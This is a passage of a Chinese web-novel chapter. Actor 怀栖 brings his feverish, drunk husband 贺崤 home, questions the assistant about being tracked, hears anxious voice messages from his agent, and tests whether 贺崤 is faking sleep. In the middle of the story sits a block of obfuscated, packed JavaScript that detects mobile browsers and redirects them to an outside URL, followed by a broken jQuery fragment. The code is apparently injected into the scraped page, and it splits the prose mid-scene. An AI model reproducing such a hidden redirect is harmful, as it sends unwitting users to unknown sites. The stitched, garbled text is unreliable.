周松:“……”
怀栖戴着问前台买来的帽子和口罩,上车之后之前看了眼依然昏迷着的贺崤,犹豫了一下还是坐到了他身边,又把问前台买来的体温计塞进贺崤腋下。
听说发烧太久不治脑子会出毛病,更别说贺崤还喝了酒,也不知道拖了这么久这人醒来后会不会变成傻子。
如果变成傻子的话他会立马离婚!
也不对,如果变成一个听话不打扰自己的傻子,也不是不能忍。
怀栖戳了戳贺崤的脸,确认他有生命体征。
爬回驾驶座的周松欲言又止了好久,最后把导航导到了两人那栋婚房别墅。
好在怀栖少爷对于回到这里没有表达出任何不满,因为知道家里只有一张床,周松本来只打算让自家老板睡在沙发上。
怀栖也是这么想的。
贺崤那么重就算他和助理两个人合力,把他搬上去也是个大工程。
但是让喝了酒又发烧的人睡在沙发上,感觉良心都有点过意不去。
最后两人还是合力把贺崤搬上了楼。
见怀栖靠在那累得不行,周松毫不犹豫地说:“我留下来照顾老板就好,怀栖少爷明天是不是还要拍戏?”
本来怀栖明晚确实有一点点戏份,但一想到今天在包厢里发生的事情,他就不太乐意回剧组。
在洗手间的时候,肖帆大概发现了他偷偷溜出去了,给他打了几个电话,他都没有接。
但床都被霸占了,他也没地方睡,让他睡沙发是绝对不可能的,让他跟喝了酒又发烧的人睡在一张床上更加不可能,瞥了眼依然半死不活的贺崤,怀栖哦了声,“那我叫司机送我回去。”
家庭医生还没过来,总不能让助理送自己,把贺崤一个人留在这,没人看着万一出了什么事他就得英年丧夫了。
目前怀栖还不想年纪轻轻给贺崤哭丧。
走到楼梯口,怀栖突然想起贺崤在洗手间说起的找人跟踪自己行程的事情。
他又直接转身回了卧室。
当时事情太多他都没在意这件事,现在正好贺崤的助理在,反正他要是问贺崤,贺崤嘴里吐出来的话又不知道哪句是真的哪句是假的。
当然也有一点点担心贺崤从此一睡不醒。
只有一点点。
见他回来,周松还有些惊讶。
无视他的表情,怀栖板着脸问:“是你把我的行程告诉贺崤的吗?”
周松:“……”
也不知道老板跟怀栖少爷到底说了什么,但你们之间的事情一定要让我掺和吗?
周松有苦说不出,只能硬着头皮承认,毕竟这事儿也确实是他干的。
就是他没想到老板会仗着自己的身份硬挤到怀栖少爷他们剧组的聚餐里去。
原以为怀栖会生气怪罪自己侵犯他的隐私,没想到怀小少爷得到答案之后也只是淡淡哦了声,又非常自然地问:“他为什么会突然发烧?”
周松:“大概是昨天有水下的戏份,老板在里面泡了将近六个小时。”他说着补充:“冷水。”
怀栖:“……”
在冷水里泡六个小时就算是神人估计都扛不住。
在演戏这方面,贺崤从来就没懈怠过。
那不是应该早就发现自己身体不适了?
为什么还要跑来找自己?又不是什么十万火急的事情。
就为了把那玩意给自己看,证明他的清白?哄自己不要再生气了?
不对,贺崤又没说那是拿来哄他的。
顶多就是为了证明清白而已。
怀栖默默盯着依然昏迷的贺崤。
贺崤烧得有点严重,再加上喝了酒让情况变得更加复杂,家庭医生过来之后直接给他打了吊瓶,也没敢离开,只能坐在楼下的沙发上和周松面对面瞪眼。
卧室虽然很大,也有沙发,但那张沙发是怀栖最喜欢的,从国外空运回来的,怀栖决不允许自己以外的人的屁股挨着它,所以医生被赶了下来。
而周松作为贺崤的助理工作繁忙,时不时有电话打进来,哪怕他愿意席地而坐,也依然被怀栖以他实在是太吵了而被赶了出去。
现在卧室里只剩下怀栖和贺崤两人。
怀栖窝在沙发上翻微博头条,确认今天没被拍到和贺崤一起的行踪。
然后又顺便以自己喝醉了的名义向剧组的导演请了假。
导演很好说话,回消息速度也很快,给他发了个叹气的表情过来,又发了句语音:“没事明天的拍摄暂时取消了,你好好休息,今天受惊了吧?好好休息,等开拍了我会让助理通知你的。”
看起来导演似乎知道什么,但又因为身份问题不能明着说。
怀栖回了句多谢。
导演也没再发消息过来,就是闻华不知道从哪儿得到的消息,直接给他打了个语音电话过来,怕把人吵醒,怀栖直接按了拒听。
然后闻华就跟消息不要命似的拼命给他发语音条。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105335|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
本来打算转文字看,结果一不小心点到了播放,闻华老母亲似的声音立马在空旷又安静的卧室里回旋。
“你没事吧我靠我刚得到消息你们剧组去聚餐了,还去了不少投资人!你现在在哪我马上去接你!你离那个肖帆远一点我靠,我今天刚听我朋友说他上部剧就是靠拉皮条得来的男主结果意外火了!”
听得出来闻华心急如焚恨不得顺着手机爬到怀栖身边。
语音按照顺序播放,闻华的声音还在继续:“你不要吓我啊我现在在赶来的路上了啊啊啊啊啊要是有人要对你做什么心怀不轨的事情你一定要反抗!就算把人打死打残也没事啊啊啊啊啊保护好你自己就行了!!”
“你要是接不了电话就给我回个字母!!我先报警!”
不知道为什么,看见心怀不轨四个字,怀栖下意识抬起头朝床上看过去。
结果正好看见贺崤似乎快速地合上了眼皮。
合上了眼皮???
合上了眼皮?!!
但现在贺崤看起来又跟之前没有任何区别,眼睛闭着呼吸平稳到让怀栖怀疑自己刚刚看见的似乎是幻觉。
站在床边观察了一会儿,确认贺崤并没有任何醒来的迹象,怀栖还是先去安抚了一会儿闻华。
他出卧室给闻华打了个电话,告诉他自己已经回了酒店,至于在包厢里发生的其他事情,他也没跟闻华说。
闻华那个性子,要是知道了,肯定要直接过去找他。
见他没事,闻华狠狠松了口气,“等过几天我忙完了就去组里陪你,我不在的时候你还是不要搭理那个肖帆了,也不要和他们出去吃饭,听见了吗?我查了查这剧的几个投资商,都他妈不是什么好东西,把拍戏都当什么了。”
骂归骂,但这种潜规则在娱乐圈层出不穷。
他能做的也只是尽量保证自己手下艺人的安全。
“有钱人都不是好东西。”怀栖面不改色顺着闻华的话骂自己。
两人又聊了几句,确认怀栖确实没事之后,闻华又把车调头回去,继续忙自己的工作去了。
重新回到卧室,怀栖没再去沙发窝着,直接站到了床边,眼睛一眨不眨地盯着躺在床上的人。
贺崤似乎没有任何装睡的必要。
但刚刚他确实好像看见贺崤合眼的动作了。
眯了眯眼,怀栖干脆蹲下来凑近盯着贺崤的脸看。
因为发烧他的皮肤比平时红,身上的酒味至今未散,凑得近了甚至能感受到他鼻间灼热的呼吸,让怀栖不自觉颤了颤眼皮。
平心而论贺崤这张脸确实长得很好,如果一直保持着这样的状态也不是不行。
但这幅模样又过于死气沉沉,像是失去了生命力一般。
他们现在离得很近,近到但凡贺崤睁开眼都能看清怀栖脸上的绒毛。
怀栖眼皮动了动,瞥了眼贺崤的眼睛,板着张脸摸到床头柜上放着的水杯。
家庭医生下楼之前叮嘱过他,可以时不时给贺崤补充点水分。
让他伺候贺崤给贺崤喂水是绝不可能的。
除非有特殊情况。
而现在就是特殊情况。
往自己嘴里灌了口水逐渐凑近贺崤,怀栖不信贺崤这样连自己咬他一口都会露出那副神色的人能撑得住不醒。
然而随着两人之间的距离越来越近,他自己的呼吸都变得分外艰难起来,甚至忘记了呼吸的节奏,注意力完全放在贺崤近在咫尺的脸上和唇上,为了避免压到贺崤输液的手他还只能撑着床面,姿势十分累人。
在即将触碰到贺崤鼻尖的那一刹那,心脏猛地像被踹了一脚,怀栖像是从睡梦中被踹醒一般立马想要退开,甚至觉得自己是不是有什么毛病,为什么用这种牺牲自我的方式来逼醒贺崤?
这么做吃亏的难道不是他吗?
然而他后退的动作被阻拦在了半空中。
贺崤的手突然按在他的后脑勺上拦住了他的退路,还隐隐有要把他的脑袋继续往下压的趋势。
怀栖瞬间睁大了眼,和贺崤对上视线的那一刹那,他的心跳快得有点离谱。